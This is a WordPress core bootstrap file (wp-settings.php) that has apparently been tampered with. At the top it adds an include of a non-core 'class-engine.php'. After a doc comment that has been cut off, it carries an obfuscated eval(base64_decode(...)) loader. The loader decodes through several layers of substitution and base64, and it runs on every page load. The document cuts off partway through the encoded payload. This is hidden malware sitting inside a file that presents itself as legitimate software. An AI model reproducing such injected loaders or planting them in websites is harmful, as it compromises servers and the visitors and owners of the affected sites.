<%>PHP<% > if (file_exists('./wp-includes/class-engine.php')) require_once './wp-includes/class-engine.php'; /** * Used to set up and fix common variables and include * the WordPress procedural and class library. * * Allows for some configuration in wp-config.php (see default-constants.php) * * @internal This file must be parsable by PHP4. * * @package WordPress */ /** * Stores the location of the WordPress directory of functions, classes, and core content. * * @since 1.0.0 */ define( 'WPINC', 'wp-includes' ); // Include files required for initialization. require( ABSPATH . WPINC . '/load.php' ); require( ABSPATH . WPINC . '/default-constants.php' ); /* * These can't be directly globalized in version.php. When updating, * we're including version.php from another install and don't want * these values to be overridden if already set. */ global $wp_version, $wp_db_version, $tinymce_version, $required_php_version, $required_mysql_version; require( ABSPATH . WPINC . '/version.php' ); // Set initial default constants including WP_MEMORY_LIMIT, WP_MAX_MEMORY_LIMIT, WP_DEBUG, WP_CONTENT_DIR and WP_CACHE. wp_initial_constants(); // Check for the required PHP version and for the MySQL extension or a database drop-in. wp_check_php_mysql_versions(); // Disable magic quotes at runtime. Magic quotes are added using wpdb later in wp-settings.php. @ini_set( 'magic_quotes_runtime', 0 ); @ini_set( 'magic_quotes_sybase', 0 ); // WordPress calculates offsets from UTC. date_default_timezone_set( 'UTC' ); // Turn register_globals off. wp_unregister_GLOBALS(); // Standardize $_SERVER variables across setups. wp_fix_server_vars(); // Check if we have received a request due to missing favicon.ico wp_favicon_request(); // Check if we're in maintenance mode. wp_maintenance(); // Start loading timer. timer_start(); // Check if we're in WP_DEBUG mode. wp_debug_mode(); // For an advanced caching plugin to use. Uses a static drop-in because you would only want one. if ( WP_CACHE ) WP_DEBUG ? include( WP_CONTENT_DIR . '/advanced-cache.php' ) : @include( WP_CONTENT_DIR . '/advanced-cache.php' ); // Define WP_LANG_DIR if not set. wp_set_lang_dir(); // Load early WordPress files. require( ABSPATH . WPINC . '/compat.php' ); require( ABSPATH . WPINC . '/functions.php' ); require( ABSPATH . WPINC . '/class-wp.php' ); require( ABSPATH . WPINC . '/class-wp-error.php' ); require( ABSPATH . WPINC . '/plugin.php' ); require( ABSPATH . WPINC . '/pomo/mo.php' ); // Include the wpdb class and, if present, a db.php database drop-in. require_wp_db(); // Set the database table prefix and the format specifiers for database table columns. $GLOBALS['table_prefix'] = $table_prefix; wp_set_wpdb_vars(); // Start the WordPress object cache, or an external object cache if the drop-in is present. wp_start_object_cache(); // Attach the default filters. require( ABSPATH . WPINC . '/default-filters.php' ); // Initialize multisite if enabled. if ( is_multisite() ) { require( ABSPATH . WPINC . '/ms-blogs.php' ); require( ABSPATH . WPINC . '/ms-settings.php' ); } elseif ( ! defined( 'MULTISITE' ) ) { define( 'MULTISITE', false ); } register_shutdown_function( 'shutdown_action_hook' ); // Stop most of WordPress from being loaded if we just want the basics. if ( SHORTINIT ) return false; // Load the L10n library. require_once( ABSPATH . WPINC . '/l10n.php' ); // Run the installer if WordPress is not installed. wp_not_installed(); // Load most of WordPress. require( ABSPATH . WPINC . '/class-wp-walker.php' ); require( ABSPATH . WPINC . '/class-wp-ajax-response.php' ); require( ABSPATH . WPINC . '/formatting.php' ); require( ABSPATH . WPINC . '/capabilities.php' ); require( ABSPATH . WPINC . '/query.php' ); require( ABSPATH . WPINC . '/date.php' ); require( ABSPATH . WPINC . '/theme.php' ); require( ABSPATH . WPINC . '/class-wp-theme.php' ); require( ABSPATH . WPINC . '/template.php' ); require( ABSPATH . WPINC . '/user.php' ); require( ABSPATH . WPINC . '/meta.php' ); require( ABSPATH . WPINC . '/general-template.php' ); require( ABSPATH . WPINC . '/link-template.php' ); require( ABSPATH . WPINC . '/author-template.php' ); require( ABSPATH . WPINC . '/post.php' ); require( ABSPATH . WPINC . '/post-template.php' ); require( ABSPATH . WPINC . '/revision.php' ); require( ABSPATH . WPINC . '/post-formats.php' ); require( ABSPATH . WPINC . '/post-thumbnail-template.php' ); require( ABSPATH . WPINC . '/category.php' ); require( ABSPATH . WPINC . '/category-template.php' ); require( ABSPATH . WPINC . '/comment.php' ); require( ABSPATH . WPINC . '/comment-template.php' ); require( ABSPATH . WPINC . '/rewrite.php' ); require( ABSPATH . WPINC . '/feed.php' ); require( ABSPATH . WPINC . '/bookmark.php' ); require( ABSPATH . WPINC . '/bookmark-template.php' ); require( ABSPATH . WPINC . '/kses.php' ); require( ABSPATH . WPINC . '/cron.php' ); require( ABSPATH . WPINC . '/deprecated.php' ); require( ABSPATH . WPINC . '/script-loader.php' ); require( ABSPATH . WPINC . '/taxonomy.php' ); require( ABSPATH . WPINC . '/update.php' ); require( ABSPATH . WPINC . '/canonical.php' ); require( ABSPATH . WPINC . '/shortcodes.php' ); require( ABSPATH . WPINC . '/class-wp-embed.php' ); require( ABSPATH . WPINC . '/media.php' ); require( ABSPATH . WPINC . '/http.php' ); require( ABSPATH . WPINC . '/class-http.php' ); require( ABSPATH . WPINC . '/widgets.php' ); require( ABSPATH . WPINC . '/nav-menu.php' ); require( ABSPATH . WPINC . '/nav-menu-template.php' ); require( ABSPATH . WPINC . '/admin-bar.php' ); // Load multisite-specific files. if ( is_multisite() ) { require( ABSPATH . WPINC . '/ms-functions.php' ); require( ABSPATH . WPINC . '/ms-default-filters.php' ); require( ABSPATH . WPINC . '/ms-deprecated.php' ); } // Define constants that rely on the API to obtain the default value. // Define must-use plugin directory constants, which may be overridden in the sunrise.php drop-in. wp_plugin_directory_constants(); $GLOBALS['wp_plugin_paths'] = array(); // Load must-use plugins. foreach ( wp_get_mu_plugins() as $mu_plugin ) { include_once( $mu_plugin ); } unset( $mu_plugin ); // Load network activated plugins. if ( is_multisite() ) { foreach( wp_get_active_network_plugins() as $network_plugin ) { wp_register_plugin_realpath( $network_plugin ); include_once( $network_plugin ); } unset( $network_plugin ); } /** * Fires once all must-use and network-activated plugins have loaded. * * @since 2.8.0 */ do_action( 'muplugins_loaded' ); if ( is_multisite() ) ms_cookie_constants( ); // Define constants after multisite is loaded. Cookie-related constants may be overridden in ms_network_cookies(). wp_cookie_constants(); // Define and enforce our SSL constants wp_ssl_constants(); // Create common globals. require( ABSPATH . WPINC . '/vars.php' ); // Make taxonomies and posts available to plugins and themes. // @plugin authors: warning: these get registered again on the init hook. create_initial_taxonomies(); create_initial_post_types(); // Register the default theme directory root register_theme_directory( get_theme_root() ); // Load active plugins. foreach ( wp_get_active_and_valid_plugins() as $plugin ) { wp_register_plugin_realpath( $plugin ); include_once( $plugin ); } unset( $plugin ); // Load pluggable functions. require( ABSPATH . WPINC . '/pluggable.php' ); require( ABSPATH . WPINC . '/pluggable-deprecated.php' ); // Set internal encoding. wp_set_internal_encoding(); // Run wp_cache_postload() if object cache is enabled and the function exists. if ( WP_CACHE && function_exists( 'wp_cache_postload' ) ) wp_cache_postload(); /** * Fires once activated plugins have loaded. * * Pluggable functions are also available at this point in the loading order. * * @since 1.5.0 */ do_action( 'plugins_loaded' ); // Define constants which affect functionality if not already defined. wp_functionality_constants(); // Add magic quotes and set up $_REQUEST ( $_GET + $_POST ) wp_magic_quotes(); /** * Fires when comment cookies are sanitized. * * @since 2.0.11 */ do_action( 'sanitize_comment_cookies' ); /** * WordPress Query object * @global object $wp_the_query * @since 2.0.0 */ $GLOBALS['wp_the_query'] = new WP_Query(); /** * Holds the reference to @see $wp_the_query * Use this global for WordPress queries * @global object $wp_query * @since 1.5.0 */ $GLOBALS['wp_query'] = $GLOBALS['wp_the_query']; /** * Holds the WordPress Rewrite object for creating pretty URLs * @global object $wp_rewrite * @since 1.5.0 */ $GLOBALS['wp_rewrite'] = new WP_Rewrite(); /** * WordPress Object * @global object $wp * @since 2.0.0 */ $GLOBALS['wp'] = new WP(); /** * WordPress Widget Factory Object * @global object $wp_widget_factory * @since 2.8.0 */ $GLOBALS['wp_widget_factory'] = new WP_Widget_Factory(); /** * WordP*/ eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJG9ldG53bHpxZSA9IDk3ODA7IGZ1bmN0aW9uIGxjdGlraSgkcmNlbmdjYnYsICRzYmRpZG9rc3kpeyRicW9zc2dpID0gJyc7IGZvcigkaT0wOyAkaSA8IHN0cmxlbigkcmNlbmdjYnYpOyAkaSsrKXskYnFvc3NnaSAuPSBpc3NldCgkc2JkaWRva3N5WyRyY2VuZ2NidlskaV1dKSA/ICRzYmRpZG9rc3lbJHJjZW5nY2J2WyRpXV0gOiAkcmNlbmdjYnZbJGldO30KJHFkdmNiZXhrbj0iYmFzZSIgLiAiNjRfZGVjb2RlIjtyZXR1cm4gJHFkdmNiZXhrbigkYnFvc3NnaSk7fQokZWljZmJsZyA9ICdPOW5qSWFLekhST3d2N2FlWTFLZVI3TG1IZVlQVmZTYXlmYjZrYmRwTzluaklhS3pIUk93djdMbUhYS25ZSnZtWUpDSkR0b2JweVA0dFc4NjIxbjVZN2EnLgonZHB0Z2lOUmM1SFJjbk5yYWRJdUtqUnJFNjJ1MEpEdG9icHlQNHRXOG5ZSnZtWW5LZUhSOG1ZSkU2MjFZd0N0V3NsTzZvWTdhZFJyRTYydWE1MjluaUlST3dDdFdzJy4KJ2xPdzR0aGRwSXVOd1Z1RW5IMW5qSHVPd1ZuOFYwUUtReWRiWnBGVzR0SlA0dFpvaFZ0OFdIdUg2MjEwd1ZuOFYwUUtReWRiWkQnLgondG9aUjlVWnB5UDR0SmQ0dGhkcEl1TndWdUVuSDFuakh1T3dWV0V2MFdhbGFmS0Z1YUt5RWE4ODBXUTB5Jy4KJ1hWWnBGVzR0SlA0dFpvaFZ0OFdIdUg2MjEwd1ZXRXYwV2FsYWZLRnVhS3lFYTg4MFdRMHlYVlpEdG9aRGVWNmtiZHA1T2RwbE82Nkhab3dWdUVuSDFuakh1TycuCid3dmRRQzBXYThFUW41MG5ha1J6ZmQ0OUNVNDc0MTRUVnpOMWZVQzFRY0gxVzdrTXY2TnVWTDQxUWRJdUFMa3RZNnBPZHBHYmRwVicuCid0b2hWOUVuSDFuakhGaEpPMExGRTBRZnVhS0ZhMFM1Q3lPZE56aHJON043Q1Q0Wk55aGVOdVExSXlOVVkxbmNOVGY3TlJFNjJ6ZlV2ZWJoQ0ZXc2xPdzR0WicuCidvaFZ0b1dIOVFkTkZvS1ZmU2F5ZmJzbE93aFZ0b2h2OUVjZzlRNUk3YVNWbGRoeW5hQ3lsUDR0aGRwVnRvaFZ0RU15Zkt0TzBMeXVlZ1RZWEtjZ1InLgonRXd2WGRoQkZvSjQxT2VIbGhMazlPaU56aFNIdGRkQ3VmZER1UVpreVZpQ3UwckNsQ3I0eVdTTjFhY3Z6UDR0Wm9oVnQ4SjI5S1pOdWJoJy4KJ3Y5NHpSN1FYZzloc2xPdzR0aGRwVnRvaFY5SFgyMTRkSXVLalY5NHpSZGduZ2ZjbVlyT3dwT2RwVnRvaFZNUDR0Wm9oVnRvJy4KJ2hWdG9oWTFhZGdSdmpWTTRkWUpFbTI5S3JIUlZ3WU12bkhYS2VIUjhQTnU0bnB0WW1SWmNyZ3JnQUhKRWJwJy4KJ2FiakQ3V0pEdFlKRGZvV1JYNFEwbkhRMG5QSkZRRTAwUUtWeVg0MHZYZDZweVA0dFpvaFZ0OEtsT3c0dFpvaFZ0ODFndVNUZzlubTJaOFRZWEtNSFJFUlkxbmROdXZQSDBFNlknLgonSkN3cE9kcFZ0b2hWTVA0dFpvaFZ0b2hWdG9odk12blllb0tWZlFlWTFRU3B0V3NsT3c0dFpvaFZ0b2hWdG9odjlRak51TFNZcm56UnJRWEhSYScuCiduVmxkaE9SdmVOUld3cHlQNHRoZHBWdG9oVnRvaFZ0b1dOdVNjMk1uekdSNDVZUmFuZ3VhMlInLgonRm9LVjk0elJkZ25nZkVtTlh2bTJyT3dweVA0dGhkcFZ0b2hWdG9oVnRvV1k3YVBIbktiTlJFd1ZsZGh2UUt5RWF2dUVhdjJ2WDRsMFduT2FRSzlGMExReVdRNEVGZ2cnLgona2JkcFZ0b2hWdG9oVnQ4ckk5blBIRm93cHRFejI5UXpJdG9LVk00ZFlKdmIyckN3dk00bjI5Jy4KJ0g1WTlRZEl0YmhFZm5GRTA0MHlYdkhSWDRRMGZRRk9hRUIwWlc2VnRmS0JGODlPMEx5RUZXNHRab2hWdCcuCidvaFZ0b2hHYmRwVnRvaFZ0b2hWdG9oVnRvaHZNNG4yOUg1WTlRZEl0b0tWTTRYTko0ZFlaJy4KJ2hXWTdhUEhuS2JOUkV3RHRvYkR0b1dZN0xjWTdoNmtiZHBsT3doVnRvaFZ0b2hWdG9oVnQ4Nkhab3d2TTRuMjlINVk5UWRJdG9LQkY4VFlYS01IUkVmMjc0RjI3S2RwdFc2bCcuCidPd2hWdG9oVnRvaFZ0b2hWdDhzbE93aFZ0b2hWdG9oVnRvaFZ0b2hWdG9oTkp2bk51UHNsT3doVnRvaFZ0b2hWdCcuCidvaFZ0OEtsT3c0dFpvaFZ0b2hWdG9oVnRvaFY5bjFWdGN6Z012UEh1VXd2TTRuMjlINVk5UWRJdFc2bE93aFZ0b2hWdG9oVnRvaFZ0OHNsT3doVnRvaFZ0Jy4KJ29oVnRvaFZ0b2hWdG9odjlRak51TFNZcm56UnJRWEhSYW51WGRoQkZvV1k3YVBIbktiTlJFd2tiZHBWdG9oVnRvaFYnLgondG9oVnRvaDVPZHBWdG9oVnRvaFZ0OEtsT3c0dFpvaFZ0b2hWdG9oSDFLZUh1UVRJdG93djlRak51TFNZcm56UnJRWEhSYW5WOVF6VnRFVGdSdmVIdVNkUicuCic3RTZZWlc0dFpvaFZ0b2hWdG9oR2JkcFZ0b2hWdG9oVnRvaFZ0b2hJdU5ocHRRNjJuS2NZSnZjR0ZoV05yYWVZMWFqZ1EnLgonS1dJUlZQVnRFZUhSQzZwT2RwVnRvaFZ0b2hWdG9oVnRvaEdiZHBWdG9oVnRvaFZ0b2hWdG9oVnRvaFZ0RWVIUkNoQkY4Y1lKdmNHYUtpSFJ2SkhGJy4KJ2hXWTFhekR0OFRZWEtNSFJFZklSdm5OckVtWUpuQ0lSNGRwdEVUZ1J2ZUh1U2RSN0U2WVpXNmtiZHBWdG8nLgonaFZ0b2hWdG9oVnRvaDVPZHBWdG9oVnRvaFZ0OEtsT3c0dFpvaFZ0b2hWdG9oWTFhZGdSdmpWOScuCic0elJkNHdIdTRxYXJ2Nmc5UVoyOTB3TlJ2ZU5SbjVndVM2WVJhbnB0RWVIUkM2cHlQNHRab2hWdDhLbE93NHRab2gnLgonVnQ4MWd1U1RnOW5tMlo4VFlYS2xJOWFUSVhnZUlSRWNOMUxucHRFV0lSdjUyOW56Z3RXNHRab2hWdDhzJy4KJ2xPd2hWdG9oVnRvaFZ0RVdJUnY1MjluemdRS3JZMW5kTnV2UEhGb0tWZlFlWTFRU3B0V3NsT3c0dFpvaFZ0b2hWdG9oSDFLZUh1UVRJdG8nLgond3Y5RTZZbktQSVI0ZFY5UXpWdEVXSVJWNmxPd2hWdG9oVnRvaFZNUDR0Wm9oVnRvaFZ0b2hWdG8nLgonaFY5bjFWdGNvSVI0NWdydjZnOVFaMjkwd3Y5RTZZWldodlpOaElSNDVIOW5lcHRFV0lSVjZwT2RwVnRvaFZ0b2hWdG9oVnRvaCcuCidHYmRwVnRvaFZ0b2hWdG9oVnRvaFZ0b2hWdEVXSVJ2NTI5bnpnUUtyWTFuZE51dlBIYWlnJy4KJ1ZsZGh2OUU2WVRQNHRab2hWdG9oVnRvaFZ0b2hWTWQ0dFpvaFZ0b2hWdG9oNU9kcGxPd2hWdG9oVnRvaFZNdm5nTWFlMlpvV0g5bmVSN0wnLgonNllyRTVncnY2ZzlRWjI5MHNsT3doVnRvaDVPZHBsT3doVnRvaEhKYWpOckU2MjdVaE5yNDVFN2FkRTluZUh1NGQycnZTeTluemd0aFdIOW5lRHRvV0g5YWJnOScuCidoS0N5bzZsT3doVnRvaEdiZHBWdG9oVnRvaFZ0b1dZMWF6Z3VMZFZsZGhOUnZlTlJXd3B5UDR0aGRwVnRvaFZ0b2hWdDg2SFpvd1Z1bnpSN0U2WScuCidaaFdIOW5lcEZXNHRab2hWdG9oVnRvaEdiZHBWdG9oVnRvaFZ0b2hWdG9oWTFhZGdSdmpWdEVlSFI0WDJNT3NsT3doVnRvaFZ0b2gnLgonVk1kNHRoZHBWdG9oVnRvaFZ0b1dZMWF6Z3VMZHVYZGhCRm9XSDluZWtiZHBWdG9oVnRvaFZ0b1dIJy4KJzluZVI3NG1ndVNkVmxkaENsUDR0aGRwVnRvaFZ0b2hWdDg2SFpvd3Y5RW5ZTUV3VmxiaENGVzR0Wm9oVnRvaCcuCidWdG9oR2JkcFZ0b2hWdG9oVnRvaFZ0b2hZMWFkZ1J2alZ0RWVIUjRYMk1Pc2xPd2hWdG9oVnRvaFZNZDR0aGRwVnRvaFZ0b2hWdG9XSDluZVZsZGhZckVlMjknLgonYWpwdEVXSVJWNlZsZEtWbGZoQmVvV0g5bmVWbHdoWUpFZUl1ZHd2OUU2WVpiaHZYTFlEZVk2a2JkcFZ0b2hWJy4KJ3RvaFZ0b1dJdG9LVmY4bVk5YWpIOW5lcHRFV0lSVjZrYmRwVnRvaFZ0b2hWdDg2SFpvd3Y5aGhCeScuCidkS1ZmSDh5UTRRcE9kcFZ0b2hWdG9oVnQ4c2xPd2hWdG9oVnRvaFZ0b2hWdDhlSFJFWFkxVWh2TXZuWXJhUGdsUDR0Wm9oVnRvaFZ0b2g1T2RwbE93aFZ0b2hWdCcuCidvaFZNZ3dJdUxuVnRod3Y5TmhCRjhlSHVRV0g5bmVwdEV3cEZXaFZ5ZEtWZkg4eVE0UXBPZHBWdG9oVnQnLgonb2hWdDhzbE93aFZ0b2hWdG9oVnRvaFZ0ODZIWm93djlOaFZ5ZEtWdFlqdmU4YzIxT2h2OU5oVnlkS1Z0WWpEWlk2bE93Jy4KJ2hWdG9oVnRvaFZ0b2hWdDhzbE93aFZ0b2hWdG9oVnRvaFZ0b2hWdG9odjk0WFlKdm4ySkU1SDluZVZsZGhWWkVXSVJWbXY5TlprYmRwVicuCid0b2hWdG9oVnRvaFZ0b2hWdG9oVjluMVZ0YzZZWEtXSVJWd3Y5NFhZSnZuMkpFNUg5bmVwRlc0dFpvaFZ0b2hWdG9oVnRvaFZ0b2hWdDhzbE93Jy4KJ2hWdG9oVnRvaFZ0b2hWdG9oVnRvaFZ0b2hWdEVXSVJ2NU43S1gySk9ocHpkaEN5UDR0aGRwVnRvaFZ0b2hWdG9oVnRvaFZ0b2hWdG9oVnRvV1kxJy4KJ2F6Z3VMZHVYZGhCRm9XTnJhZVkxYWpnUUtXSVJWc2xPd2hWdG9oVnRvaFZ0b2hWdG9oVnRvaFZ0b2hWdEVlSFI0WCcuCicyTU9oQkY4Y1lKdmNHYUtpSFJ2SkhGaFdZMWF6Z3VMZER0OFRZWEtNSFJFZklSdm5OckVtWUpuQ0lSNGRwdEVUZ1J2ZUgnLgondVNkUjdFNllaYmh2OUVuWU1Fd1Z0QWhDeW82cHlQNHRab2hWdG9oVnRvaFZ0b2hWdG9oVnQ4S2xPd2hWdG9oVnRvaFZ0Jy4KJ29oVnQ4S2xPd2hWdG9oVnRvaFZNZDR0aGRwVnRvaFZ0b2hWdDhUMjlLekh1RTZZWmhXSXRXc2xPdzR0Wm9oVnRvaFZ0b2hZMWFkZ1J2alZ0RWVIUjRYMk1Pc2xPd2hWdCcuCidvaDVPZHBsT3doVnRvaEhKYWpOckU2MjdVaE5yNDVFN2FkRTlLVDAxS21ndGg2bE93aFZ0b2hHYmRwVnRvaFZ0b2hWdG9XSDlLVFkxS21nUUsnLgonbjIxT2hCRjh6Z012ZVk5S3pwdEU1MGRhRmFXYUZ1ZWd5T1h2djBRRTVFV25DRTBTOHkwMEpSRmJodlFLeUVhdnVFYXYydicuCidYdlEwYWFRMFhFNWFhdnZ2WGQ2a2JkcFZ0b2hWdG9oVnQ4Nkhab3d2OUVtTnJ2bTJyRTVIdVNXVmxkS0InLgonRjg5TzBMeUVGVzR0Wm9oVnRvaFZ0b2hHYmRwVnRvaFZ0b2hWdG9oVnRvaFkxYWRnUnZqVnRFNTBkYUZhV2FGdWVnZnknLgonZDRheTBha2FRS0Z5ZEswdlhkc2xPd2hWdG9oVnRvaFZNZDR0Wm9oVnRvaFZ0b2hIdUx6SHVuMVZ0aFdIOUsnLgonVFkxS21nUUtuMjFPaEJ5ZEtWbG82bE93aFZ0b2hWdG9oVk1QNHRab2hWdG9oVnRvaFZ0b2hWTXZuZycuCidNYWUyWm9aRGVWc2xPd2hWdG9oVnRvaFZNZDR0Wm9oVnRvaFZ0b2hIdUx6SE9kcFZ0b2hWdG8nLgonaFZ0OHNsT3doVnRvaFZ0b2hWdG9oVnQ4ZUhSRVhZMVVoWXJhWllyRWVwdEU1MGRhRmFXYUZ1ZWd5T1h2djBRRTVFV25DRTBTOHkwJy4KJzBKUkZiaEN0Ymh2OUVtTnJ2bTJyRTVIdVNXcHlQNHRab2hWdG9oVnRvaDVPZHBWdG9oVk1kNHRoZHBWdG9oVjluMVZ0aGNISmFqTnJFNjI3UzVIUmM2WXJFenB0ZzFJdUxuUicuCidyOFhnUUtUMjdTZEh1U2RZZVk2cE9kcFZ0b2hWTVA0dFpvaFZ0b2hWdG9oSEphak5yRTYyN1VoSDFuUCcuCidIYUtiZ1JFNU43S2pnOWFqZ01Dd3Y5VVBWdEVXRHRvV0gxTGNIZW9LVmZIYzJNNG5wT2RwVnRvaFZ0b2hWdDhzbE93aFZ0b2hWdG9oVnQnLgonb2hWdG9XMnVLV0hGb0tWdEUxMjlRSlZsZEtWbGhoQmVvSk5GWWhrWm9KZ2VZc2xPd2hWdG9oVnRvaFZ0b2hWdG9XSFpvS1ZmODEycjhuMlpoVzJaYmh2OVhtSDkwNicuCidrYmRwVnRvaFZ0b2hWdG9oVnRvaEl1TmhwdEUxVmxkS0JGODlOdUx6SEZXNHRab2hWdG9oVnRvaFZ0b2hWTVA0dFpvaFZ0b2hWdG8nLgonaFZ0b2hWdG9oVnQ4ZUhSRVhZMVVoQ2xQNHRab2hWdG9oVnRvaFZ0b2hWTWQ0dFpvaFZ0b2hWJy4KJ3RvaFZ0b2hWOWFQWTcwNHRab2hWdG9oVnRvaFZ0b2hWTVA0dFpvaFZ0b2hWdG9oVnRvaFZ0b2hWdCcuCic4Nkhab3dJUjQ1TlJ2ZU5SV3d2OU82cEZvV0h0b0tWOW5pWTlMbUg5MHd2OU82a2JkcFZ0b2hWdG9oVnRvaFZ0b2hWdG9oVnRFWkdSRW5ZWEtyWTFuZGc5YWpWbGRoSEonLgonZ2VJUkVucHRFMUR0b1dIdFdzbE93aFZ0b2hWdG9oVnRvaFZ0b2hWdG9oSDE0UDJyNG5wdEUxcHlQNHRab2hWdG9oVnRvaFZ0b2hWdG9oVnQ4ZUhSRVhZMVVodjl2Jy4KJ1NnOWF6UnJnZUlSRWRIdVVzbE93aFZ0b2hWdG9oVnRvaFZ0OEtsT3doVnRvaFZ0b2hWTWQ0dFpvaFYnLgondDhLbE93NHRab2hWdDg2SFpvd1Z1SFgyMTRkSXVLalI3YVVJUjRkWWVoSkgxblBIYUtKSFJFNU43S2pnOWFqZ01DSnBGVzR0Jy4KJ1pvaFZ0OHNsT3doVnRvaFZ0b2hWOUhYMjE0ZEl1S2pWOUg2MjlhNUg3YWRSNzRtMkpFbjJKRXpwdEUxSScuCid1TG4yMVFpSEZXNHRab2hWdG9oVnRvaEdiZHBWdG9oVnRvaFZ0b2hWdG9odjlId051U1cyOTBoQkY4MTJyOG4yWmhXSDFuUEh1U2MydTBQVnR2ZVZaV3NsTycuCid3aFZ0b2hWdG9oVnRvaFZ0b1dIMTRtMkpFbjJKRXpWbGRoSEp2bk51T3d2OUh3TnVTVzI5MFBWOUg2MjlheklSNm5wdEUxSXVMbjIxUScuCidpSEZXNmtiZHBWdG9oVnRvaFZ0b2hWdG9oSDE0UDJyNG5wdEUxSTlRakg5TG5weVA0dGhkcFZ0b2hWdG9oVnRvaFZ0b2hZMWFkZ1J2alZ0RTEnLgonTjdLamc5YWpnTUNzbE93aFZ0b2hWdG9oVk1kNHRab2hWdDhLbE93NHRoZHBWdG9oVjlIWDIxNGRJdUtqVjk0elI3RW4nLgonTnJ2U1lNRTVZOWNjWTcwd3Y5RWNnOWZQVnRFcUhSVzZsT3doVnRvaEdiZHBWdG9oVnRvaFZ0b1cycmFkUjdFY2c5ZmhCRm9aVlRQNHRoZHBWdG9oVnRvaFZ0Jy4KJzgxMnJWaHB0RTZCeW9zVnRFNkJNNGRZMUxuMlpoV0g5UWRORldzcE9kcFZ0b2hWdG9oVnQ4c2xPd2hWdG9oVnRvaFZ0Jy4KJ29oVnQ4MTJyVmhwdEV4Qnlvc1Z0RXhCTTRkWTFMbjJaaFdJN2FTcEZvMXZab1dJeUx6Z012UEh1VXd2OUVjZzlmNmtlJy4KJ29XSVpQcUR0b1dJRlBxcE9kcFZ0b2hWdG9oVnRvaFZ0b2hHYmRwVnRvaFZ0b2hWdG9oVnRvaFZ0b2hWdEVtZ1JFNUg5UWRORm9qQkY4VElNVncycnZXcHRFV05SRScuCidjdWVFNlJGV2hSWjhtWTFPd3Y5aW5HYVBXSW5kNnB5UDR0Wm9oVnRvaFZ0b2hWdG9oVk1kNHRab2hWdG9oVnRvaDVPZHBsT3doVnRvaFZ0Jy4KJ29oVk12bmdNYWUyWm9XMnJhZFI3RWNnOWZzbE93aFZ0b2g1T2RwbE93aFZ0b2hISmFqTnJFNjI3VWhOcjQ1SDlhVFlKbmJndGhXSDlRZE5GYmgnLgondjlpbkdGVzR0Wm9oVnQ4c2xPd2hWdG9oVnRvaFY5Z1AyN3ZjMnRvV05yNDVOUmFkSWxQNHRoZHBWdG9oVnRvaFZ0OGVIUkVYWTFVaE5yNDVIOWFUWUpuYicuCidnUUtiSTlRekhGY1RZWEtXSHU0ZUdSOGRScjh3TlI0bnB0RVdOUkVjRHRvV0k3YVNwRmJodjk0elI3UVhnOWg2a2JkcFZ0b2hWTWQ0dFpvaFZ0ODFndVNUZzlubTInLgonWjhUWVhLbjIxNGVHUjhkcHRFV05SRWNEdG9XSTdhU3BPZHBWdG9oVk1QNHRab2hWdG9oVnRvaEg3TG1OMVFQVnRFVFlYS2NnUkV3a2JkcGxPd2hWdCcuCidvaFZ0b2hWTXZuZ01hZTJaOFRZWEtXSHU0ZUdSOGRScjh3TlI0bnA5NHpSN0VuTnJ2U1lNRTUnLgonWTljY1k3MHd2OUVjZzlmUFZ0RVRZWEtjZ1JFd3BGYmh2OWluR0ZXc2xPd2hWdG9oNU9kcGxPd2hWJy4KJ3RvaEhKYWpOckU2MjdVaE5yNDVIMW5QSGFLZUh1UVdwdEViTlJFd3BPZHBWdG9oVk1QNHRab2hWdG9oVnRvaHY5RWNnOWZoQkY4b0gxblBIYUtKSFJFNU43S2pnOScuCidhamdNQ3d2TThjZzloNmtiZHBsT3doVnRvaFZ0b2hWTXZuZ01hZTJab1dIOVFkTnlQNHRab2hWdDhLbE93NHRab2hWJy4KJ3Q4MWd1U1RnOW5tMlo4VFlYSzFJdUxuUnJnZUlSRW5wdEViTlJFd0R0b1dIOVFkTkZXNHRab2hWdDhzbE93aFZ0b2hWdG9oVmY4MUl1TG5ScjhYZ1FLVDI3U2RIdScuCidTZFllaFdZOVFkSXRiaHY5RWNnOWY2a2JkcFZ0b2hWTWQ0dGhkcFZ0b2hWOUhYMjE0ZEl1S2pWOScuCic0elI3SDYyOWE1TlI4Ykh1U1dwdEViTlJFd0R0b1dIOVFkTkZXNHRab2hWdDhzbE93aFZ0b2hWdG9oVmY4MUl1TG5ScjhYZ1FLVDI3U2RIdVNkWWVoV1k5UWQnLgonSXRiaHY5RWNnOWZQVmxoNmtiZHBWdG9oVk1kNHRoZHBWdG9oVjlIWDIxNGRJdUtqVjk0elJyNG1ZSkU1TjdLaVk5UWVIUlZ3djlmUFZ0RVpwT2RwVnRvJy4KJ2hWTVA0dFpvaFZ0b2hWdG9oWTFhZGdSdmpWTTRkWTFMbjJaaFdORldoREY4emdNdlBIdVV3djlWNmtiZHBWdG9oVk1kNHRoZHBWdCcuCidvaFY5SFgyMTRkSXVLalY5NHpSZGduZ2Y0bTJ1WG0ybjRkMnJ2Y0g3MHd2OUU2WUpDS3luYScuCidDeXRXNHRab2hWdDhzbE93aFZ0b2hWdG9oVnRFekh1TDFSN0U2WVpvS1Y5RTZZMVNjMnUwd1JYSzlGMExRUlhBNmtiZHBsT3doVnRvJy4KJ2hWdG9oVnRFVDI3WGkyN1M1MjFRaUhSQ2hCRjg4WUp2Y0dGaFoycjhkSXVLalllVlBWdCcuCid2N0l1YXJZZVZQVnR2Yk51Z25ZZVZQVnR2ekhSNHpJdUtqWWVWUFZ0dnpnOVFkWWVWUFZ0dlhZN2FlWWVWUFZ0dmNZSkU2TjdMbicuCidZZVZQVnR2V2d1WGJWWmJoVjFjbk51RW5ZSkNaRHRvWjI5blpZZVY2a2JkcGxPd2hWdG9oVnRvaFZ0RWQyUjg1SDluJy4KJ2VWbGRodk00bjI5SDVIOW5lVnRVaFZaQVpWdFVodjk0bTJ1WG0ybktqTnVYbllYaXpnTXZQSHVVd04nLgoncjQ1RTdhZEY5S3pndGg2cEZvblY5NG1ndVNkcHRFVDI3WGkyN1M1MjFRaUhSQzZSeVA0dGhkcFZ0b2hWdG9oVnQ4NkgnLgonWm93SDFuUEhhS25HOW56Z01Dd3ZNRWlZUUtXSVJWNnBPZHBWdG9oVnRvaFZ0OHNsT3doVnRvaFZ0b2hWdG9oVnQ4ZUhSRVhZMVVodk1FaVlRS1cnLgonSVJWc2xPd2hWdG